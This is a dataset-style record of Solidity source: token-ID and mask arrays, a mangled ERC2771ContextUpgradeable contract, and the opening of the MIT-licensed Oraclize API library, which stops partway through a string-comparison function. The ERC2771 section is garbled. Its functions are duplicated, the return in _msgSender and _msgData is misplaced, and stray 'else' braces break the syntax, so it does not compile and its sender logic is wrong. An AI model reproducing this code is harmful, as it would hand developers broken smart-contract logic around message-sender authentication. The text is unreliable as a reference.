1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
565,
445,
389,
4626,
5912,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
1147,
548,
16,
203,
3639,
1731,
3778,
389,
892,
203,
565,
262,
2713,
5024,
288,
203,
3639,
389,
13866,
12,
2080,
16,
358,
16,
1147,
548,
1769,
203,
3639,
2583,
24899,
1893,
1398,
654,
39,
27,
5340,
8872,
12,
2080,
16,
358,
16,
1147,
548,
16,
389,
892,
3631,
315,
20367,
1297,
2348,
4232,
39,
27,
5340,
12952,
1560,
8863,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/5/0xa3a9B86a85d8cB6388e8CF41E810334fE0B7a276/sources/openzeppelin-presets/metatx/ERC2771ContextUpgradeable.sol | * @dev Context variant with ERC2771 support./ | abstract contract ERC2771ContextUpgradeable is Initializable, ContextUpgradeable {
mapping(address => bool) private _trustedForwarder;
function __ERC2771Context_init(address[] memory trustedForwarder) internal onlyInitializing {
__Context_init_unchained();
__ERC2771Context_init_unchained(trustedForwarder);
}
function __ERC2771Context_init_unchained(address[] memory trustedForwarder) internal onlyInitializing {
for (uint256 i = 0; i < trustedForwarder.length; i++) {
_trustedForwarder[trustedForwarder[i]] = true;
}
}
function __ERC2771Context_init_unchained(address[] memory trustedForwarder) internal onlyInitializing {
for (uint256 i = 0; i < trustedForwarder.length; i++) {
_trustedForwarder[trustedForwarder[i]] = true;
}
}
function isTrustedForwarder(address forwarder) public view virtual returns (bool) {
return _trustedForwarder[forwarder];
}
function _msgSender() internal view virtual override returns (address sender) {
if (isTrustedForwarder(msg.sender)) {
assembly {
sender := shr(96, calldataload(sub(calldatasize(), 20)))
}
return super._msgSender();
}
}
function _msgSender() internal view virtual override returns (address sender) {
if (isTrustedForwarder(msg.sender)) {
assembly {
sender := shr(96, calldataload(sub(calldatasize(), 20)))
}
return super._msgSender();
}
}
function _msgSender() internal view virtual override returns (address sender) {
if (isTrustedForwarder(msg.sender)) {
assembly {
sender := shr(96, calldataload(sub(calldatasize(), 20)))
}
return super._msgSender();
}
}
} else {
function _msgData() internal view virtual override returns (bytes calldata) {
if (isTrustedForwarder(msg.sender)) {
return msg.data[:msg.data.length - 20];
return super._msgData();
}
}
uint256[49] private __gap;
function _msgData() internal view virtual override returns (bytes calldata) {
if (isTrustedForwarder(msg.sender)) {
return msg.data[:msg.data.length - 20];
return super._msgData();
}
}
uint256[49] private __gap;
} else {
} | 7,037,415 | [
1,
1042,
5437,
598,
4232,
39,
22,
4700,
21,
2865,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
17801,
6835,
4232,
39,
22,
4700,
21,
1042,
10784,
429,
353,
10188,
6934,
16,
1772,
10784,
429,
288,
203,
565,
2874,
12,
2867,
516,
1426,
13,
3238,
389,
25247,
30839,
31,
203,
203,
203,
565,
445,
1001,
654,
39,
22,
4700,
21,
1042,
67,
2738,
12,
2867,
8526,
3778,
13179,
30839,
13,
2713,
1338,
29782,
288,
203,
3639,
1001,
1042,
67,
2738,
67,
4384,
8707,
5621,
203,
3639,
1001,
654,
39,
22,
4700,
21,
1042,
67,
2738,
67,
4384,
8707,
12,
25247,
30839,
1769,
203,
565,
289,
203,
203,
565,
445,
1001,
654,
39,
22,
4700,
21,
1042,
67,
2738,
67,
4384,
8707,
12,
2867,
8526,
3778,
13179,
30839,
13,
2713,
1338,
29782,
288,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
13179,
30839,
18,
2469,
31,
277,
27245,
288,
203,
5411,
389,
25247,
30839,
63,
25247,
30839,
63,
77,
13563,
273,
638,
31,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
1001,
654,
39,
22,
4700,
21,
1042,
67,
2738,
67,
4384,
8707,
12,
2867,
8526,
3778,
13179,
30839,
13,
2713,
1338,
29782,
288,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
13179,
30839,
18,
2469,
31,
277,
27245,
288,
203,
5411,
389,
25247,
30839,
63,
25247,
30839,
63,
77,
13563,
273,
638,
31,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
353,
16950,
30839,
12,
2867,
364,
20099,
13,
1071,
1476,
5024,
1135,
261,
6430,
13,
288,
203,
3639,
327,
389,
25247,
30839,
63,
1884,
20099,
15533,
203,
565,
289,
2
]
|
pragma solidity ^0.4.11;
//import "./oraclizeAPI_0.4.sol";
//import "github.com/oraclize/ethereum-api/oraclizeAPI.sol";
// <ORACLIZE_API>
/*
Copyright (c) 2015-2016 Oraclize SRL
Copyright (c) 2016 Oraclize LTD
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
//pragma solidity ^0.4.0;//please import oraclizeAPI_pre0.4.sol when solidity < 0.4.0
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
